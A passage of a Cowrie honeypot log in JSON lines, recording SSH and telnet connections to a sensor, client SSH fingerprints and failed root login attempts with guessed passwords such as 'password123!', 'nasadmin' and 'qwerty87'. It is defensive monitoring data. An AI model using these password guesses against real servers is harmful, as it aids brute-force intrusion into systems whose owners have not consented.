.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:26.822347Z","src_ip":"198.235.24.238","session":"e736ecdc5083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.26776361465454,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:29.058633Z","src_ip":"192.119.13.58","session":"48cd0c2d4122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":34060,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaaf395fed90","protocol":"ssh","message":"New connection: 163.227.230.54:34060 (159.203.135.109:22) [session: aaaf395fed90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:29.647704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:29.652416Z","src_ip":"163.227.230.54","session":"aaaf395fed90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:29.894456Z","src_ip":"163.227.230.54","session":"aaaf395fed90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victor","message":"login attempt [root/victor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:32.642053Z","src_ip":"163.227.230.54","session":"aaaf395fed90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:33.280457Z","src_ip":"198.235.24.238","session":"e736ecdc5083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:33.885675Z","src_ip":"163.227.230.54","session":"aaaf395fed90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":58578,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b9c7bc00987","protocol":"ssh","message":"New connection: 43.156.237.246:58578 (159.203.135.109:22) [session: 0b9c7bc00987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:34.016817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:34.021834Z","src_ip":"43.156.237.246","session":"0b9c7bc00987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:34.260008Z","src_ip":"43.156.237.246","session":"0b9c7bc00987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1964","message":"login attempt [root/1964] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:35.243252Z","src_ip":"43.156.237.246","session":"0b9c7bc00987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":50940,"dst_ip":"159.203.135.109","dst_port":22,"session":"02bbc8898fda","protocol":"ssh","message":"New connection: 181.47.9.103:50940 (159.203.135.109:22) [session: 02bbc8898fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:35.619971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:35.624051Z","src_ip":"181.47.9.103","session":"02bbc8898fda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:35.767457Z","src_ip":"181.47.9.103","session":"02bbc8898fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123!","message":"login attempt [root/password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:36.368514Z","src_ip":"181.47.9.103","session":"02bbc8898fda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:36.484314Z","src_ip":"43.156.237.246","session":"0b9c7bc00987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:37.514311Z","src_ip":"181.47.9.103","session":"02bbc8898fda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":33240,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f3e29b73666","protocol":"ssh","message":"New connection: 115.178.75.242:33240 (159.203.135.109:22) [session: 1f3e29b73666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:39.287694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:39.290526Z","src_ip":"115.178.75.242","session":"1f3e29b73666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:39.466800Z","src_ip":"115.178.75.242","session":"1f3e29b73666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hayashi","message":"login attempt [root/hayashi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:40.205861Z","src_ip":"115.178.75.242","session":"1f3e29b73666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:41.386223Z","src_ip":"115.178.75.242","session":"1f3e29b73666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":54322,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e46214f48b0","protocol":"ssh","message":"New connection: 207.154.230.149:54322 (159.203.135.109:22) [session: 5e46214f48b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:43.010578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:43.015473Z","src_ip":"207.154.230.149","session":"5e46214f48b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:43.102372Z","src_ip":"207.154.230.149","session":"5e46214f48b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123..","message":"login attempt [root/qwe123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:43.481108Z","src_ip":"207.154.230.149","session":"5e46214f48b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":46128,"dst_ip":"159.203.135.109","dst_port":22,"session":"938f59659b95","protocol":"ssh","message":"New connection: 108.167.177.203:46128 (159.203.135.109:22) [session: 938f59659b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:44.368039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:44.372693Z","src_ip":"108.167.177.203","session":"938f59659b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:44.398384Z","src_ip":"108.167.177.203","session":"938f59659b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nasadmin","message":"login attempt [root/nasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:44.533953Z","src_ip":"108.167.177.203","session":"938f59659b95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:44.569848Z","src_ip":"207.154.230.149","session":"5e46214f48b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:45.563088Z","src_ip":"108.167.177.203","session":"938f59659b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":49640,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb14cee2699d","protocol":"ssh","message":"New connection: 43.153.0.59:49640 (159.203.135.109:22) [session: cb14cee2699d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:50.709380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:50.713521Z","src_ip":"43.153.0.59","session":"cb14cee2699d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:50.781774Z","src_ip":"43.153.0.59","session":"cb14cee2699d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty87","message":"login attempt [root/qwerty87] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:51.087100Z","src_ip":"43.153.0.59","session":"cb14cee2699d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:52.158162Z","src_ip":"43.153.0.59","session":"cb14cee2699d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.132.28","src_port":27178,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca44b1b6fd5f","protocol":"telnet","message":"New connection: 152.32.132.28:27178 (159.203.135.109:23) [session: ca44b1b6fd5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:52.776178Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":60256,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b953fdb21c0","protocol":"ssh","message":"New connection: 43.134.27.11:60256 (159.203.135.109:22) [session: 8b953fdb21c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:57.575263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:57.579108Z","src_ip":"43.134.27.11","session":"8b953fdb21c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:57.818727Z","src_ip":"43.134.27.11","session":"8b953fdb21c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rori","message":"login attempt [root/rori] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:51:58.797547Z","src_ip":"43.134.27.11","session":"8b953fdb21c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:00.037567Z","src_ip":"43.134.27.11","session":"8b953fdb21c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":32814,"dst_ip":"10.17.0.5","dst_port":22,"session":"7615d380ced6","protocol":"ssh","message":"New connection: 103.27.238.120:32814 (10.17.0.5:22) [session: 7615d380ced6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:00.336586Z"}
